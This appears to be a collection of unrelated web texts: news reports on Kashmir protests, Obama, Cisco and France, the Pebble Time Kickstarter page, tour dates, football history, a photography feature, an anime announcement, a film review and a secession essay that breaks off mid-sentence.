-Scores of students from prominent institutes at Lal Chowk in Srinagar continued their violent agitation on Tuesday, pelting stones at police personnel and vandalising government property. Police responded in kind, and occasionally used tear gas shells to make the agitators disperse.  The clashes wreaked havoc in the city’s commercial hub, disrupting traffic and business activities.  According to witnesses, a number of school and college students assembled near Exchange Road and began throwing stones at a security post. Some students of Shri Pratap School even scaled the walls of the neighbourhood Women’s College and targeted police vehicles plying on MA Road. Later, girl students of the college were joined by their male counterparts in shouting pro-Azadi slogans.  A number of students who tried taking out a protest march were intercepted by police outside the college gates. Tear gas shells were also fired into the Women’s College campus, eliciting loud shrieks from students.  Similar protests were witnessed at Pulwama in south Kashmir, which the police countered with tear gas shells. The Valley has been witnessing sporadic clashes since April 17, when thousands of college and school students took out protests against alleged police high-handedness in dealing with students at the Degree College in Pulwama. Many respected people from the Valley, including senior journalist Shujaat Bukhari, have expressed their disapproval over students indulging in violence. “Appeal to students. Please go back to classrooms. Protest is registered. We need you educated,” the scribe posted on Facebook.  The protests followed largescale violence sparked by the killing of eight civilians at the hands of security forces during agitations on April 9, when the Srinagar Lok Sabha seat went to the polls. Public anger was further fanned by several video clips that purportedly showed security forces indulging in human rights violations, including the use of a Kashmiri resident as a human shield.  Student protests have come as a new challenge to the BJP-PDP government in Kashmir, which witnessed escalating violence in the aftermath of Hizbul Mujahideen militant Burhan Wani’s encounter killing in July 2016.  Inspector general of police SJM Gilani had claimed on Monday that student demonstrations have been quelled, and normalcy restored in most schools and colleges. He said some students who protested in north Kashmir’s Handwara area on Saturday were “paid” to disrupt life in the Valley.  “There were 28 incidents of students indulging in lawlessness. We are trying to counsel them and their parents, so their future is not affected,” he added.  First Published: May 09, 2017 20:10 IST
-Story highlights Obama's quip to the African Union in Addis Ababa, Ethiopia, came as he critiqued some African leaders' reluctance to turn over power.  The President spoke extensively on the corruption within Ethiopia and other African nations, warning it was holding these societies back.  Washington (CNN) President Barack Obama said Tuesday that he could win a third term in office if he ran again but that he is barred by the Constitution.  "I actually think I'm a pretty good President. I think if I ran, I could win. But I can't," Obama ad-libbed during a speech in Ethiopia. "There's a lot that I'd like to do to keep America moving. But the law is the law, and no person is above the law, not even the president."  Obama's remarks, which come on the same day that a new CNN/ORC poll found his approval rating standing in net-positive territory for the second month in a row, were made to the African Union in Addis Ababa. He is the first U.S. president to address the group, and was critiquing some African leaders' reluctance to turn over power.  "Africa's democratic progress is also at risk when leaders refuse to step aside when their terms end. Now let me be honest with you -- I do not understand this," Obama said, going on to say that he is looking forward to life after the presidency.  The loudest applause line of his address came when Obama said he didn't understand the motivation behind remaining in power through force -- even when leaders have "got a lot of money."  Read More
-Our Kickstarter campaign is over! It's been an amazing month. We're looking forward to getting Pebble Time and Pebble Time Steel onto your wrist.  To learn more and order a Pebble Time, head on over to pebble.com  Developers can sign up for our developer newsletter to get the latest news. Hardware developers, have you heard of our $1mm smartstrap development fund?  “3 Reasons Pebble's Time Smartwatch Beats The Apple Watch” - Forbes  “Pebble's Fantastic Smartwatch Is Growing Up" - Gizmodo  “The most exciting thing about Pebble’s new smartwatch isn’t the color screen” - Fast Company.  For press inquiries, please contact media@getpebble.com.  You can follow Pebble on Twitter @pebble and on Facebook.  High level details  We have two new watches, Pebble Time and Pebble Time Steel , with a new timeline interface .  Pebble Time and Pebble Time Steel feature a new color e-paper display and microphone for responding to notifications.  No compromises on what you love about Pebble: up to 7 days of battery life, water resistance and customizability.  Pebble Time and Pebble Time Steel are fully compatible with all 6,500+ existing Pebble apps and watchfaces.  Pebble Time starts shipping in May. Pebble Time Steel starts shipping in July.  Photo of early production unit  You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with  sound 00:00 00:00  All the features of Pebble Time, dressed up and ready to go.  CNC-finished 316L stainless steel casing.  Premium leather and stainless steel strap.  Up to 10 days of battery life.  We're back on Kickstarter  This is where it all started. Three years ago you supported our vision to make the world’s first real smartwatch. The Kickstarter community and our early adopters believed in us before anyone else even knew we existed. You blew us away with your support and kicked off a worldwide movement!  With your help, we set the bar very high:  Your overwhelming support and feedback has shaped what Pebble is today. We’re back on Kickstarter to give you - the community who cares the most - an opportunity to support our vision for wearables and get exclusive access to our newest product.  Get more info at a glance...in color!  At its heart, Pebble Time is an awesome watch. The new color e-paper display is easy to read and always-on, perfect for displaying incoming notifications and your favorite watchface. Compared with display technology like LCD or OLED, power consumption is minimized, enabling Pebble Time to achieve an industry-leading battery life of up to 7 days.  Send a quick reply by dictation  Pebble Time's new microphone lets you send voice replies to incoming notifications* or take short voice notes. We used the latest technology to maintain water resistance so you can swim or surf with Pebble Time (we do not, however, recommend talking underwater).  *Sending voice replies works with most major Android apps including SMS, Hangouts, Gmail, Facebook Messenger, Whatsapp and hundreds more. For iOS users, voice replies are currently limited to Gmail notifications. We’re working to enable voice replies for more apps.  Pebble Time is 20% thinner than the original Pebble at just 9.5mm. Its ergonomic, curved design fits comfortably on either wrist and slides easily under dress shirts.  Pebble Time and Pebble Time Steel is stylish and durable. The lens is crafted from scratch-resistant Gorilla Glass with a bezel made of stainless steel. Like our previous watches, it's water resistant - perfect for a run in the rain, water-balloon battle or a swim.  People love to personalize their Pebble watches. We've included a soft silicone band with each Pebble Time and a fine leather band for Pebble Time Steel, but any standard 22mm watch band will fit. All new Pebble watch bands include a quick-release pin, letting you swap bands in under 10 seconds. Now it's super easy to find the perfect style for you!  For DIYers, accessory makers and advanced customizers, we'll be publishing the 3D data you'll need to create amazing straps, covers and docks. Pebble Time comes in three colors: Black watch case and silicone band with black PVD stainless steel bezel  White watch case and silicone band with silver PVD stainless steel bezel  Red watch case and silicone band with black PVD stainless steel bezel Pebble Time Steel is available in three stainless steel finishes:  Silver with a stone leather band  Gunmetal black with a black leather band  Gold with red leather band All Time Steels come with both a leather and matching metal band. Special Engraving for Kickstarter Backers All reward watches are engraved with ‘Kickstarter Edition’. For those who are backing Pebble on Kickstarter for the second time - thank you! Your Pebble Time watch will be engraved with something extra special. We've been making smartwatches for almost 7 years now. Our ultimate goal is to make Pebble an indispensable tool in your daily life by helping you accomplish more each and every day. While developing software for the original Pebble, we uncovered an important problem: apps are an inefficient way to interact with a smartwatch. As we increased functionality by adding more apps, our Pebbles clogged up. It became harder to quickly find the app we wanted. No one wants to manage another homescreen!  To make Pebble infinitely more useful, we needed an expandable system for organizing information and interactions. Luckily, the answer was right up our sleeves.  It turns out the best interface for any watch...is time!  You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with  sound 00:00 00:00  You already plan your day around time, so it makes sense for your Pebble to be organized around the same principle. Now your notifications, news, reminders and events are laid out chronologically instead of being trapped inside separate apps.  With one click, see what’s coming up next. Your timeline connects to calendars, alarms, and apps, organizing all kinds of relevant information along with quick actions. Similarly, recall the past. Scroll back in time to see that email you missed, your step count for the day or the score from the game last night.  Your timeline takes an incredible amount of information and makes it super easy to access.  This is the new app menu, featuring new app faces with glanceable content. With timeline we've also created a system that dynamically loads and caches apps as needed, letting you access as many apps as you need.  As with all Pebble software, we’ve built an open platform. You can allow apps and developers to add ‘pins’ to your timeline, so you can keep track of things like upcoming events, sports, weather, traffic, travel plans, pizza specials and more.  The Pebble operating system has been re-imagined with a new visual style. While all existing Pebble apps will still work great, we’re inviting developers to upgrade their apps to support color. More details coming soon!  Simplicity and focus, without compromise  We’ve added all these new features - color screen, microphone, slimmer design and timeline - without compromising what you love most about Pebble:  Always-on, daylight readable screen with a great backlight  Up to 7 day battery life (Time Steel battery life is up to 10 days)  Use any standard 22mm watch band  Water resistant and durable  Tactile buttons for easy eyes-free clicking  Silent vibrating alarms  Step tracking with Misfit and Jawbone  Language and international character support (Chinese coming soon!)  Timeline will work on Pebble and Pebble Steel (exact date TBD)  Works with iOS 8 on iPhone 4s and above  Works with all Android 4.0+ phones including Samsung, HTC, Sony, LG, Google, Motorola, Xiaomi and more  If you’re already part of our community of backers, developers and, early adopters, that’s fantastic! If not, we invite you to join those who have supported and guided our journey so far. It's pretty straightforward, just back this project!  We pledge to do the absolute best we can at creating amazing products and supporting them for as long as possible. We’ve gone out of our way to develop new features, release software updates and provide technical support for all Pebble owners. Check out our Amazon reviews or our Twitter's @Pebble and @PebbleHelp to get a taste.  Developer community  Since the first Kickstarter campaign, developers have been an integral part of the Pebble community. We are very proud of the 26,000+ developers who have created over 6,500 apps and watchfaces for Pebble.  Pebble Time greatly expands possibilities for wearable apps, building on top of the existing Pebble SDK and tools:  Rich C SDK for apps and watchfaces running natively on the watch, even when the phone is disconnected  Best in class online development environment: www.cloudpebble.net  New emulator that can be used on CloudPebble or locally  Rich set of APIs: accelerometer, compass, bluetooth messaging, background tasks, GPS and HTTP request, etc  (NEW) Color APIs to support the 64 colors of the new Pebble Time screen  (NEW) Support for PNG and APNG  (NEW) Timeline APIs to push information from the web into the user’s timeline (no watch or phone apps required)  (NEW) UI framework to create beautiful applications that take advantage of color and animations  (Later in 2015) Voice to text APIs: add voice recognition to your apps  (Later in 2015) Smart accessory port for hardware hackers.  (Later in 2015) Bluetooth Low Energy API. Use Pebble to control BLE-enabled objects.  All existing Pebble apps are compatible with Pebble Time and apps built with the new SDK are compatible with both platforms. We will reveal more information about the new APIs during the campaign. Stay tuned!  Time for one last plug: we're hiring!  Over the years, we've hired a bunch of folks from our community and are looking to hire more! If you (or a friend!) are passionate about bringing wearables to the masses, want to push Pebble to the next level, and love working with an awesome team at an innovative company, check out our Jobs page!  Why are we back on Kickstarter?  Pebble was brought to life by 68,929 backers who supported our vision three years ago. Even though we've grown tremendously since then, we're still a small company battling some of the largest competitors in the world. We believe that this is the best and most efficient way for us to get our latest product to the people who want it most: people like you.  Help us by sharing Pebble Time with your friends!  Know someone who would be just as stoked as you are about Pebble Time? Share our campaign with them through the "Share this project" button at the top. Sharing is caring!  Reward Tiers  $159 - Early Bird: One Pebble Time watch in any of the 3 colors  $179 - One Pebble Time watch in any of the 3 colors  $250 - One Pebble Time Steel watch in any of the 3 colors  $338 - Two Pebble Time watches in any of the 3 colors  $400 - One Pebble Time and One Pebble Time Steel in any of their respective 3 colors  $845 - Five Pebble Time watches in any of the 3 colors  $1690 - 10 Pebble Time watches in any of the 3 colors  $5,000 - 30 Pebble Time watches, 10 of each color  The full retail price for Pebble Time will be $199, so you're getting a deal by supporting us on Kickstarter. We will not be selling Pebble Time in retail until all Kickstarter rewards have been shipped.  International Backers  We're proud to have Pebble fans in over 150 countries. We will ship Pebble Time worldwide, with the exception of Argentina, Belarus, Cuba, Iran, Iraq, Lebanon, Libya, Myanmar/Burma, North Korea, Russia, Somalia, Sudan, Syria, and Yemen. Please note that you may be responsible for duties, fees and taxes applicable to your region.  Estimated Delivery  Each reward tier may have a different estimated shipment month. While we do not expect these to change, it is possible that the estimated shipment month may shift. At anytime up until your watch has shipped, you may request a full refund by emailing support@getpebble.com.  Warranty  We stand firmly behind our products. Each Pebble Time includes with a 30 day (after you receive it) money back guarantee and minimum 1 year limited warranty. For more information, please see https://getpebble.com/legal/warranty  Need help? We're here for you.  If you have questions at any time, during or after the campaign has closed, you can always reach us at support@getpebble.com.
-09/09/2016 – Santiago de Compostella ES - WOS Festival (Black Cobra only)  ALL DATES WITH YOB  11/09/2016 – Tilburg NL – Incubate Festival  12/09/2016 – Dortmund DE – FZW  13/09/2016 – Aarhus DK – Radar  14/09/2016 – Gothenburg SE – Sticky Fingers // Göteborg  15/09/2016 – Oslo NO – BLÅ  16/09/2016 – Copenhagen DK – Pumpehuset  17/09/2016 – Athens GR – Smoke The Fuzz gigs Fest  19/09/2016 – Wiesbaden DE – Schlachthof Wiesbaden  20/09/2016 – Munich DE – Feierwerk  21/09/2016 – Berlin DE – Musik & Frieden  22/09/2016 – Wroclaw PL – Asymmetry Festival  23/09/2016 – Leipzig DE – UT Connewitz  24/09/2016 – Nurnberg DE – Z-Bau  25/09/2016 – Vienna AT – Chelsea  26/09/2016 – Ljubljana SL – Club Gromka  28/09/2016 – Zagreb HR – VintageIndustrial Bar  29/09/2016 – Linz AT – Stadtwerkstatt  30/09/2016 – Milan IT – Lo Fi Milano  01/10/2016 – Pratteln CH – UP in SMOKE festival in Z7  02/10/2016 – Orleans FR – L’Astrolabe – Orléans  04/10/2016 – Belfort FR – La Poudrière – Belfort  05/10/2016 – Paris FR – GLAZART  06/10/2016 – Tourcoing FR – Le Grand Mix  07/10/2016 – Bristol UK – The Fleece Bristol  08/10/2016 – Glasgow UK – The Garage  09/10/2016 – Birmingham UK – The Rainbow Venues  10/10/2016 – Manchester UK – The Ruby Lounge  11/10/2016 – Dublin IRE – Whelan’s  13/10/2016 – London UK – Scala  14/10/2016 – Antwerp BE – DESERTFEST ANTWERP  15/10/2016 – Hannover DE – CAFE GLOCKSE
-The Borussia Dortmund’s of the 1990’s is one of German football’s all time great teams. In 1993 they reached the UEFA Cup final after nearly winning the Bundesliga the year before. They then followed that up with back to back league titles in 1995 and 1996 and the Intercontinental title the following year but the crowning achievement for the club was without a doubt the Champions League triumph in 1997.  It was as unlikely a Cup triumph as Europe had seen since the competition was rebranded at the beginning of the decade. In the final they met Juventus who beat them 6-1 on aggregate in the UEFA Cup only a couple of years back. The Italians, heavy favorites and considered arguably the best team in Europe at the time, were expected to lift the trophy but Ottmar Hitzfeld’s brilliantly coached side shocked the football world to win the clubs’ and German football’s first Champions League trophy since reunification.  Their run to the final was equally amazing and filled with memorable performances and results though. Their group stage started with wins over Polish and Romanian champions Widzew Lodz and Steaua Bucuresti. Their next win may have been their most impressive in the group stage, a 1-0 win in Spain against reigning Spanish champions Atletico Madrid.  Nine poitns from their first three games put Dortmund in a great position to advance early into the campaign so despite losing the rematch against Atletico in Germany they collected four points from their last two matches, including a 5-3 goal fest against Steaua on the last matchday. In the end they finished tied on points with Atletico and came up second due to goal difference but the first part of their mission had been accomplished. Dortmund were through to the knockout stage for the first time in history.  Here is a two part video of their group stage matches:  http://www.youtube.com/watch?v=UwrxxMJ1FtI  http://www.youtube.com/watch?v=kCdMGwB2kXY  The year before Dortmund went out in the quarter finals to Ajax Amsterdam. This time they were paired with French champions Auxerre who topped a group featuring that very same Ajax team. Dortmund would not be deterred though and they continued to pick up steam, beating Auxerre convincingly at home 3-1 an 1-0 in France. Lars Ricken scored his second of the competition in the second leg and it would not be his last.  Next up was Alex Ferguson’s Manchester United, a team that was quickly becoming the most dominant force in English football and stronger and stronger in Europe. Not many expected Dortmund to go through the way they did. A tight first leg was decided by a late Rene Tretschock goal in Dortmund. The second leg is still one of the most famous wins in Dortmund history.  3400 Dortmund supporters traveled to Old Trafford to witness a performance that would see them through to the final. An early goal from Lars Ricken put Dortmund ahead, stunning the home crowd, followed by a highly spirited and heroic defensive performance, particularly from Jürgen Kohler, to cap off a memorable night. Things would get even better.  One of the great underdog stories in European Cup final history took place on May 28th. Although the match was hosted in Bayern’s Olympiastadion in München Juventus were still heavy favorites but greatness is often spun through adversity and Dortmund made history that night.  Watch the video of this unforgettable final between Borussia Dortmund and Juventus Turin
-(Reuters) - Cisco Systems made its first major acquisition in over two years with a deal to buy NDS, which develops pay TV software, for $5 billion, aiming to boost its presence in the video communications market.  A man looks at his mobile next to a Cisco banner at the Mobile World Congress in Barcelona February 17, 2010. REUTERS/Albert Gea  In its biggest acquisition since it bought Norway’s videoconferencing company Tandberg for $3.3 billion in 2009, Cisco said NDS was a strategic fit for its video system Videoscape, as NDS’ software allows cable and satellite TV companies to deliver encrypted content through televisions and other devices.  Chief Executive John Chambers said Cisco first began looking at NDS about a year ago because of what customers were saying about the company.  NDS technology is used by BSkyB and Sky Italia in Europe as well as customers such as Cablevision Systems Corp, Comcast Corp and Rogers Communications Inc in North America.  NDS, which filed for a public listing in December, is 51 percent owned by private equity fund Permira and 49 percent by News Corp.  Cisco, whose bread-and-butter business is routers and switches that manage Internet traffic, is keen to find new networking functions. The company is betting heavily on video, which Chambers likes to call “the new voice” and is one of its five growth pillars.  “This is the right deal to do right now,” Chambers said on a call with analysts, as the way television programming and video are being consumed is changing. “It (video) will be pervasive, on every device,” he said.  He said NDS’ flagship product, VideoGuard, which is installed on home TVs via smartcards integrated into set-top boxes, complements Cisco’s video offerings because it allows television operators to extend their pay-TV services to other media devices while ensuring that content cannot be hacked by non-paying customers.  SMALLER ACQUISITIONS  Chambers said there were more opportunities for acquisitions, but said any future buys would likely be smaller.  Cisco said it would pay about $5 billion, including the assumption of debt and retention-based incentives, to acquire all of NDS, which Chambers said has less than $1 billion in total liabilities.  Cisco’s other recent large acquisitions include online video platform WebEx for $2.9 billion in 2007 and digital cable set-top box unit Scientific Atlanta for $6.9 billion in 2005.  The boards of Cisco and NDS have approved the acquisition, which is expected to close during the second half of 2012.  The purchase price is about 35 percent higher than the value of NDS when it was delisted from Nasdaq in 2009.  “While we view the price as rich for a company growing sales less than 10 percent year on year, we believe it addresses a large opportunity in enabling service providers to offer comprehensive digital media and integrated video offerings,” ISI analyst Brian Marshall said in a note.  Cisco said the deal would add to earnings per share in the first year but Marshall said it was not clear how that would happen other than through job cuts.  Chambers said he based his assumption on NDS’ double-digit growth and recurring revenue stream.  MAJOR BUY  The NDS acquisition is the largest in Israel after the $4.8 billion purchase of Chromatis by Lucent in 2000.  Deals to acquire or merge Israeli and Israel-related tech companies were valued at $5.1 billion in all of 2011 — the second-highest amount in a decade — according to the Israel Venture Capital Research Center.  News Corp acquired NDS in 1992 for $15 million. NDS went public in 1999 but was bought back a decade later by Permira and News Corp and turned into a private company.  Analysts said it made sense for News Corp to sell its stake.  “NDS Group is a non-strategic asset,” Bernstein analyst Todd Juenger said, adding that News Corp President and COO Chase Carey has said that the company should either monetize or add to the company’s equity stakes.  “As a non-strategic equity investment, it makes sense to sell the equity stake in NDS completely’” Juenger said.  “NDS’ customer portfolio will broaden Cisco’s presence into new segments of the service provider market,” Marthin de Beer, Cisco’s senior vice president of video, said in a company blog.  “It will expand Cisco’s reach into emerging markets where NDS has a strong footprint with customers such as CCTV in China and Bharti and TataSky in India,” he added.  Founded in Israel in 1988 and headquartered in London, NDS maintains a large research and development center in Jerusalem.  Cisco shares were down 1.2 percent at $19.95 in afternoon trading.
-AFP (file photo) | France's state of emergency has been extended until the end of July  The French parliament extended the country’s post-attacks state of emergency to the end of July on Tuesday in order to cover this summer's Euro 2016 football tournament and the Tour de France cycling race.  ADVERTISING Read more  It is the third time the state of emergency has been extended since the November 13 jihadist attacks on Paris.  Prime Minister Manuel Valls had said in April he would seek parliament’s approval for a further extension in order to ensure security at what will be two high-profile sporting events.  “Faced with events this big... which must take place in conditions of security and which at the same time should be a celebration.... we have to ensure security,” the prime minister said at the time.  “The state of emergency cannot be permanent but on the occasion of these big events... we have decided to prolong [it].”  Under a state of emergency the interior minister has the power to place under house arrest any person whose behaviour is considered "a threat to security and public order" and to order searches of homes at any hour without involving the court.  The current state of emergency, already extended by three months in February, had been set to expire on May 26.  (FRANCE 24 with AFP)
-Childhood is an adventure; a whimsically frightening maze through fields of glowing neon-green fauna and deep, daunting dungeons. Or at least that's how it can seem. Attempt to visualize your youth in the most romantic way your mind can muster. Envision how those racing emotions and that sense of adventure would have looked if painted or photographed. Such is the awe-inspiring catalog of imagination, imagery, and childhood wonder created by 10-year-old Alice Lewis with the help of her mother, photographer Kelly Lewis.  Kelly and her husband James adopted Alice in 2012 when she was 7 years old. As one of their earliest forms of bonding, the new mother-daughter tandem started taking photos inspired by the little girl's imaginative play. Alice, who was named Destiny before she decided to change her first name after the adoption, had been in foster care prior to joining her new family. She was complex and fragile, but she expressed herself openly as the pair planned their shoots.  Copyright 2015 | Image by Kelly Lewis | www.kellyisnice.com  According to Kelly, Alice's mental escape from a troubled past was always driven by her own imagination. This strong creative drive became inspiration for both mother and child when they photographed their first cosplay of Alice dressed as Dorothy from "The Wizard of Oz."  "Two weeks after she moved in with us we passed a dress while shopping, and Alice commented on how it looked like a Dorothy dress. I suggested that we do a photoshoot, and she was totally up for it," Kelly said. "It was the first time she'd really posed for my camera as a model, and it was amazing."  Copyright 2015 | Image by Kelly Lewis | www.kellyisnice.com  From there, the two have been on an absolute roll. Creating stylized scene after scene is not only a memento of Alice's childhood, but serves as art therapy for a little girl whose life had previously been burdened with so much change.  "Playing make-believe is how she's coped with all of the negative things she's lived through. It's just a natural part of her being now and cosplaying gives her a creative outlet to express herself and be whoever she wants to be," said Kelly.  The themes of the images range from generally upbeat to downright sinister, or even dark and desperate. Kelly recognizes that not everyone will understand the tone of every photograph. Yet, she's willing to take the scorn that has come as some of the collection's darker photos have been shared online.  "If one child gets adopted because someone read Alice's story, then every hateful letter and death threat is worth it," she said.  Copyright 2015 | Image by Kelly Lewis | www.kellyisnice.com  "There's not a one-size-fits-all type of parenting when you're dealing with a child that has experienced multiple foster homes, homelessness, [and] neglect," she said. "I refuse to make her act like other little girls — she knows too much of the real world and she can't forget what she's seen. It is why she so often chooses to live in a fantasy of her own."  Regardless of how you perceive the content of the photos, it's hard to deny the amazing artistic relationship that this mother and daughter now enjoy. The emotion present in each shoot is palatable, and seeing a child embody such open expressions of joy, fear, anger, heroism, and family is an art in and of itself. Even when the image is scary, there is no doubt that love abounds with the creators.  Copyright 2015 | Image by Kelly Lewis | www.kellyisnice.com  Check out more from the "Malice of Alice" collection below, but be sure to see the entire collection at Alice's website.  Copyright 2015 | Image by Kelly Lewis | www.kellyisnice.com  Copyright 2015 | Image by Kelly Lewis | www.kellyisnice.com  Copyright 2015 | Image by Kelly Lewis | www.kellyisnice.com  Copyright 2015 | Image by Kelly Lewis | www.kellyisnice.com  Copyright 2015 | Image by Kelly Lewis | www.kellyisnice.com  Copyright 2015 | Image by Kelly Lewis | www.kellyisnice.com  Copyright 2015 | Image by Kelly Lewis | www.kellyisnice.com
-And… there’s more new streaming anime announcements at Crunchyroll to grant upon you today. Next up is Shonen Ashibe GO! GO! Goma-chan, about the everyday life of a young boy and his pet sea lion based on the manga by manga by Hiromi Morishita!  Shonen Ashibe GO! GO! Goma-chan begins streaming on April 5th at 4am PST and will be available to Crunchyroll Premium Members worldwide excluding Asia.  About Shonen Ashibe GO! GO! Goma-chan  A comedy manga, "Shonen Ashibe," that follows the friendship between baby spotted seal Goma-chan and first-grade student Ashiya Ashibe. First serialized in 1988 and adapted to anime in 1991, the adorable Goma-chan created a massive following and a spotted seal boom. This spring, Goma-chan returns to "Tentere Anime." A cute, pleasant story of Ashibe and Goma-chan and their unusual school and their neighbors. Sometimes endearing, sometimes bizarre, it's a fun anime for the whole family!  The main staff for Shonen Shibe Go! Go! Goma-chan includes:  Original work: Hiromi Morishita (Shonen Ashibe)  Director: Nobuhiro Kondo  Series composition: Toshimitsu Takeuchi  Animation production: Bridge  Production: Team Goma  The cast for the show includes:  Rie Kawamura as Ashibe.  Nao Tōyama aa Goma-chan.  Kenjiro Tsuda as Ashibe's Father.  Chinatsu Akasaki as Ashibe's Mother.  Kōji Yusa as Tendou-sensei.  And Ayane Sakura as Yuma-kun.  Additionally, the opening theme of the show, entitled "Hello Tomorrow", is written and composed by Jimmy Thumb-P and performed by Lon.
-About two minutes into the R-rated animated food movie Sausage Party I had a realization—the film that the trailers were advertising was not the movie I was watching. That movie, about food that realizes what happens when they get bought, looked like it has a lot of R-rated jokes, and not much else. But the real movie is so much more.  To say what Sausage Party is actually about isn’t a spoiler. But, if at this point you don’t know what I’m talking about, I’ll give you a chance to leave. Just know this: Sausage Party is absolutely filthy and completely funny, but not without its flaws.  Advertisement  Sausage Party is about science versus religion. It’s about blind faith versus undebatable truth—about people who choose to believe something they’re told all their lives and how that could, potentially, be a problem. That’s not to say Sausage Party bashes religion, faith, or your beliefs (it jabs them for sure), but it fully embraces the happiness those things can bring people.  In the case of a supermarket full of foul-mouthed food, these debates are brought about by a talking hot dog (Seth Rogen) that’s desperate to enter his bun girlfriend (Kristen Wiig). All the food in the supermarket believes when you’re chosen by the Gods, a.k.a. humans shopping in the store, you are brought to the Great Beyond, a place where everything is going to be wonderful. They think its heaven, basically. But when one bottle of honey mustard is returned to the store, he starts planting the seeds of truth that lead Rogen’s character on a quest through the supermarket to discover that humans kill food when they leave the supermarket.  Advertisement  As this is happening, the film is as R-rated as they come. C-bombs, F-bombs, dirty sex jokes, non-stop innuendo, and some sure-to-be-too-offensive-for-some-people racial stuff. It’s a way to try and mask that the filmmakers are, hopefully, getting you to question some serious shit.  One problem with that, however, is Sausage Party is not subtle in any way. The film wears its message right on its sleeve and, at times, that becomes an issue. It beats you over the head with its themes to the point of redundancy. The film also feels a bit long even at just under 90 minutes due to a dragged-out second act.  And yet, by the time the film reaches its third act, none of that matters. Directors Greg Tiernan and Conrad Verson, working from a screenplay by Rogen, Evan Goldberg, Kyle Hunter, and Ari Shaffir, push things so, so, SO far over the edge at the end you almost won’t believe what you’re watching. It’s completely horrific and yet, you can’t stop watching, laughing, and shaking your head. Then, it keeps going. And just when you think it couldn’t get crazier, dirtier, or more stupid, it does. And then it does it again. I can safely say you have never, ever seen anything like the final act and climax of Sausage Party.  Advertisement  That pretty much goes for the whole movie, too. If you watched the trailers to Sausage Party and didn’t care that much, that’s fair. But if you like the talent involved, trust them, and check it out. They made a funny, well-meaning, and smart movie. One that has some problems, but is also filled with exemplary, iconic, disturbing moments that are worth the price of admission.  Sausage Party, which screened at Comic-Con 2016, opens August 12.  Note: This article originally ran on July 22. We updated it for the film’s release.
-Since the end of the Second World War, the number of independent states has nearly tripled. In the last thirty years, over thirty new states have become members of the United Nations. Separatist movements routinely receive strong support in regional and national elections. For example, in Catalonia pro-independence parties won a majority of seats in the local parliamentary elections last September. After Scotland narrowly voted against independence in September 2014, the Scottish National Party won 56 of the 59 Scottish seats in the British general elections this May. A breakup of the UK remains in the political agenda, while the British voters are considering whether to exit the European Union. At the same time, contentious issues about sovereignty and national boundaries affect the debate on how to address the current refugees’ crisis. All over the world, from Ukraine and the Middle East to India and the Philippines, borders and secessions continue to be at the center of heated debates and conflicts.  How to evaluate this separatist drive? What are the determinants of national borders and secessions? What are the consequences of having more numerous, smaller sovereign states? We have been interested by these questions for over two decades. We started to write about the number and size of nations in the Nineties, when a wave of new independent countries were being formed following the dramatic collapse of the Soviet Union, the peaceful separation of Czechoslovakia, and the violent breakup of Yugoslavia. Over the same period, we witnessed the spread of separatist movements in Western Europe, from Belgium and Catalonia to our own native Italy. Traditionally, these phenomena were studied by historians and political scientists, but not by economists, who tended to take national borders as given (or, in economics jargon, “exogenous”). However, states and boundaries are human-made institutions, and should be explained using the tools of political economy – the study of the interactions between economic and political variables. That approach has motivated our own work.  Our first paper on the topic was “On the Number and Size of Nations,”[1] where we provided a model in which political and economic factors – such as democratization and international openness – lead to more numerous, smaller countries. The idea that international economic integration goes hand in hand with political disintegration was at the center of our theoretical and empirical work with Romain Wacziarg of UCLA.[2] Those and other contributions soon became part of a growing economic literature on the endogenous formation and breakup of nations, including our book The Size of Nations (Alesina and Spolaore, MIT Press, 2003; paperback 2005). A useful recent review of the literature on the size of nations is found for instance in The Economist.[3] In this article, we provide a few considerations on how such economic research can help evaluate the ongoing trends and debates about secessions.  Border changes are too often evaluated from extremist and partisan perspectives. On one side are the enthusiasts for secessions, on the other side those who view them as unmitigated disasters. In contrast, we believe in the virtues of economic analysis, with its emphasis on choices and trade-offs. When forming a smaller country after a breakup, there are pros and cons, which vary depending on the internal situation of the country concerned and the international regime. For example, citizens of smaller and more homogeneous states may agree more easily on taxes, public goods, redistribution and other public policies. In general, consensus is harder to achieve in larger and more diverse countries such as the United States, with its history of internal political conflicts, including a bloody civil war. But a diversity of cultures, ethnicities and perspectives often means greater creativity and innovation as well. New York and Los Angeles are among the most innovative cities in the world, even though they have often been at the center of racial and ethnic conflicts. American history also illustrates two other benefits for a large country: the ability to defend themselves from external enemies (unity is strength), and the advantages from a vast domestic market without internal barriers.  So what are the incentives for secession? There are at least three reasons. The first reason stems from domestic politics. In the past, monarchs and dictators could ignore the preferences of their populations and maintain centralized states and vast colonial empires with the use of force. But in a more democratic world it becomes more difficult to suppress the preferences of ethnic, linguistic and religious minorities. Consequently, central governments are obliged to grant greater autonomy or even independence. In this regard, it will be interesting to see what is going to happen in China, a huge country which is currently “held together” by a communist dictatorship, as used to be the case in the Soviet Union. It is quite possible that the end of a communist dictatorship will imply a breakup of China, as in the former Soviet Union.  The second reason is due to international relations. In spite of the numerous conflicts of our time, fortunately we live in one of the most peaceful and prosperous periods in recent human history. All things considered, we are lucky when comparing our world with the world of our grandparents between 1914 and 1945, which was plagued by protectionist policies, economic depression, totalitarian regimes in the heart of Europe, ethnic genocide, and horrific world wars. The political and economic situation has dramatically improved after World War II in many parts of the world, largely as a consequence of increasingly free trade, and international agreements and institutions that fostered peace and economic integration. In Europe, NATO has reduced the cost of national self-defense, while the EU has removed many trade barriers among its members, creating a common market. In fact, such common market and European-level governance have also eroded the importance of domestic markets. This is the third reason why small countries can prosper: precisely because international openness and common market reduce the importance of large domestic markets. Even a small country can trade freely with the rest of the world. In this sense, the EU increases the attractiveness of regional secessions. The Spanish government is less useful to Catalonia if many of the prerogatives of Madrid are devolved to Brussels. Some time ago there was talk of a ”Europe of regions,” in which national capitals would lose prerogatives down (to regions) and upward (to Brussels). In fact, the difference of views between Scots and the rest of Britain about the benefits from European integration is very likely to play a central role in the stability or breakup of the UK.[4]  Nowadays, because of trade and international institutions, being small does not mean to be poor, while being big it is no guarantee of prosperity. Among the five richest states in the world in terms of per capita income, the most populous is Singapore, with just over five million inhabitants. In contrast, among the five largest countries in terms of population, the second richest after the US is Brazil, a middle-income country. In our above-mentioned work with Romain Wacziarg, we found that the economic growth rates are much higher among countries open to international trade, and that this effect is much greater for smaller countries than for larger countries. In other words, international trade is much more valuable for small countries which have small domestic markets.  In sum, economic analysis can provide a useful assessment of the costs and benefits of national size. And, overall, the costs to secede have gone down. However, the final choice regarding borders depends on citizens’ preferences. And such preferences are based 